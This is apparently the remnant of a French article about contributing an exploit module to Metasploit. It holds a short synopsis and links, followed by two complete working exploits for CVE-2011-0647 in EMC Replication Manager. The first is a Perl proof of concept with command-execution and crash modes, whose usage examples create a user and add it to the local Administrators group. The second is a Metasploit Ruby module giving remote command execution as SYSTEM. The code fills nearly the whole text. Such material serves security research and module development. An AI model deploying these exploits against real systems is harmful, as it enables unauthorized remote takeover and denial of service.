Voir https://github.com/FFdetect/FFdetect
####Synopsis Inutile de présenter le framework d'exploitation Metasploit. Devenu un outil incontournable en quelques années, il est très largement utilisé par la communauté de la sécurité informatique. C'est d'ailleurs probablement cette communauté qui est à l'origine de ce succès car elle contribue grandement au développement de l'outil. Mais comment peut-on contribuer au projet ? Est-ce à la portée de tout le monde ? Y a t-il des prérequis particulier ? En prenant un exemple concret de soumission d'exploit nous allons essayer de répondre à ces questions.
Alexandre, Cédric (@follc), Fred (@FredzyPadzy), Inti (@SalasRossenbach) Jérôme (_JLeonard), Juan (@juan_vazquez), l'équipe MISC (@MISCRedac), Nicolas (@newsoft), Mohamed, Renaud (@Synacktiv), Saâd (@_saadk) et Thomas.
- http://cvedetails.com/cve/2011-0647
- http://france.emc.com/storage/replication-manager.htm
- https://github.com/rapid7/metasploit-framework
- https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
- https://freenode.net/#metasploit
- http://redmine.corelan.be/projects/mona
- https://community.rapid7.com/community/metasploit/blog/2014/07/17/weekly-metasploit-update-embedded-device-attacks-and-automated-syntax-analysis
- https://github.com/bbatsov/ruby-style-guide
- https://www.rapid7.com/db/modules/exploit/unix/webapp/spip_connect_exec
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/emc/replication_manager_exec.rb
- https://github.com/rapid7/metasploit-framework/pull/34827
- http://sourceforge.net/p/metasploit/mailman/message/32514602/
#!/usr/bin/perl
# EMC RMCCLIENT
# 20120511
# Davy
#
# Vulnerable products:
# EMC Replication Manager version 5.1
# EMC Replication Manager version 5.2
# EMC NetWorker Module for Microsoft Applications 2.1
# EMC NetWorker Module for Microsoft Applications 2.2
#
# Not Vulnerable products:
# EMC Replication Manager version 5.3
# EMC NetWorker Module for Microsoft Applications 2.3
#
# Products info:
# EMC Replication Manager:
# http://france.emc.com/storage/replication-manager.htm
# EMC Networker:
# http://france.emc.com/backup-and-recovery/index.htm
#
# Vuln info:
# http://www.securityfocus.com/bid/46235
# http://www.zerodayinitiative.com/advisories/ZDI-11-061/
# http://www.nessus.org/plugins/index.php?view=single&id=40849
use Getopt::Long;
use IO::Socket;
use Term::ANSIColor;
use Switch;
print color 'reset';
GetOptions (
"help" => \$o_help,
"dst=s" => \$o_dst,
"port=s" => \$o_port,
"mode=s" => \$o_mode,
"cmd=s" => \$o_cmd,
);
if (defined $o_help) {
print "///////////////////////////////////////////////////////////\n";
print "EMC Replication Manager Client requeter\n";
print "///////////////////////////////////////////////////////////\n";
print "Usage:\n";
print " --help This page\n";
print " --dst Destination IP\n";
print " --port Destination port (usually 6542)\n";
print " --mode [ping|run|crash] \n";
print " ping Simple ping\n";
print " run Run command specified by --cmd \n";
print " crash Crash EMC irccd.exe \n";
print " --cmd Command to execute (only used in cmd mode)\n";
print "\n";
print "Usage examples:\n";
print "Run an executable by giving its full pathname:\n";
print "perl emc_poc.pl --dst 1.1.1.1 --port 6542 --mode run --cmd c:\\\\windows\\\\system32\\\\calc.exe\n";
print "Add a user:\n";
print "perl emc_poc.pl --dst 1.1.1.1 --port 6542 --mode run --cmd \"net user john password /add\"\n";
print "Add a user to the localadmin group:\n";
print "perl emc_poc.pl --dst 1.1.1.1 --port 6542 --mode run --cmd \"net localgroup Administrators john /add\"\n";
print "\n";
print "\n";
exit;
}
if (!defined $o_dst) {
print "Destination IP is missing...\nUse --help to get help\n";
exit;
}
if (!defined $o_port) {
print "Destination port is missing...\nUse --help to get help\n";
exit;
}
if (!defined $o_mode) {
print "Mode is not set...\nUse --help to get help\n";
exit;
}
my $sock = new IO::Socket::INET (
PeerAddr => $o_dst,
PeerPort => $o_port,
Proto => 'tcp',
);
######### BEGIN EMC IRCCD PROTOCOL DEFINITION ###################################
my $hello = "1HELLOEMC00000000000000000000000";
my $ping = "EMC_Len0000000134<?xml version=\"1.0\" encoding=\"UTF-8\"?> <ir_message ir_sessionId=0000 ir_requestId=\"00000\" ir_type=\"Ping\" ir_status=\"0\"></ir_message>";
my $startsession = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>";
my $crashstring = "EMC_Len0000000001<?";
my $runprog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>".$o_cmd."</ir_runProgramCommand><ir_runProgramAppInfo><?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" >&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message></ir_runProgramAppInfo><ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>";
my $emc6 = "EMC_Len000000";
my $bof = "A" x 1000;
my $endstring = "B" x 32;
######### END EMC IRCCD PROTOCOL DEFINITION ###################################
print color 'white';
print "Mode: ".$o_mode."\n";
print "[\*] We send hello...\n";
print $sock $hello;
sleep 6;
switch($o_mode) {
case "ping" {
print "[\*] We send a ping...\n";
print $sock $ping;
}
case "run" {
print "[\*] We start a session...\n";
print $sock $startsession;
sleep 6;
print "[\*] We send the command...\n";
#print $sock $emc7.length($runprogram1.$o_cmd.$runprogram2).$runprogram1.$o_cmd.$runprogram2;
print $sock $emc6.length($runprog).$runprog;
}
case "crash" {
print "[\*] We send a magic packet...\n";
#print $sock $runprogram1.$bof;
print $sock $crashstring;
print "[\*] irccd.exe should be dead now...\n";
}
case "test" {
print "[\*] We start a session...\n";
print $sock $startsession;
sleep 6;
print "[\*] We send the command...\n";
print $sock $emc6.length($test).$test;
sleep 6;
}
}
sleep 2;
print "[\*] We send the endstring to disconnect...\n";
print $sock $endstring;
print "[\*] We get back:\n";
print color 'green';
print <$sock>;
print "\n";
close($sock);
print color 'reset';
exit;
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC Replication Manager Command Execution',
'Description' => %q{
This module exploits a remote command-injection vulnerability in EMC Replication Manager
client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
products are EMC Replication Manager < 5.3. This module has been successfully tested
against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
against these products.
},
'Author' =>
[
'Unknown', #Initial discovery
'Davy Douhine' #MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-0647' ],
[ 'OSVDB', '70853' ],
[ 'BID', '46235' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],
[ 'ZDI', '11-061' ]
],
'DisclosureDate' => 'Feb 07 2011',
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'Targets' =>
[
# Tested on Windows XP and Windows 2003
[ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
],
'CmdStagerFlavor' => 'vbs',
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'DefaultTarget' => 0,
'Privileged' => true
))
register_options(
[
Opt::RPORT(6542)
], self.class)
end
def exploit
execute_cmdstager({:linemax => 5000})
end
def execute_command(cmd, opts)
connect
hello = "1HELLOEMC00000000000000000000000"
vprint_status("Sending hello...")
sock.put(hello)
result = sock.get_once || ''
if result =~ /RAWHELLO/
vprint_good("Expected hello response")
else
disconnect
fail_with(Failure::Unknown ,"Failed to hello the server")
end
start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"
vprint_status("Starting session...")
sock.put(start_session)
result = sock.get_once || ''
if result =~ /EMC/
vprint_good("A session has been created. Good.")
else
disconnect
fail_with(Failure::Unknown, "Failed to create the session")
end
run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "
run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"
run_prog << "<ir_runProgramAppInfo><?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" "
run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" "
run_prog << ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; "
run_prog << "ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1"
run_prog << "&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0"
run_prog << "&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1"
run_prog << "&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;"
run_prog << "&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1"
run_prog << "&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0"
run_prog << "&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&"
run_prog << ";lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path"
run_prog << "&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300"
run_prog << "&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;"
run_prog << "&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339"
run_prog << "&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message></ir_runProgramAppInfo>"
run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"
run_prog_header = "EMC_Len000000"
run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog
vprint_status("Executing command....")
sock.put(run_prog_packet)
sock.get_once(-1, 1)
end_string = Rex::Text.rand_text_alpha(rand(10)+32)
sock.put(end_string)
sock.get_once(-1, 1)
disconnect
end
end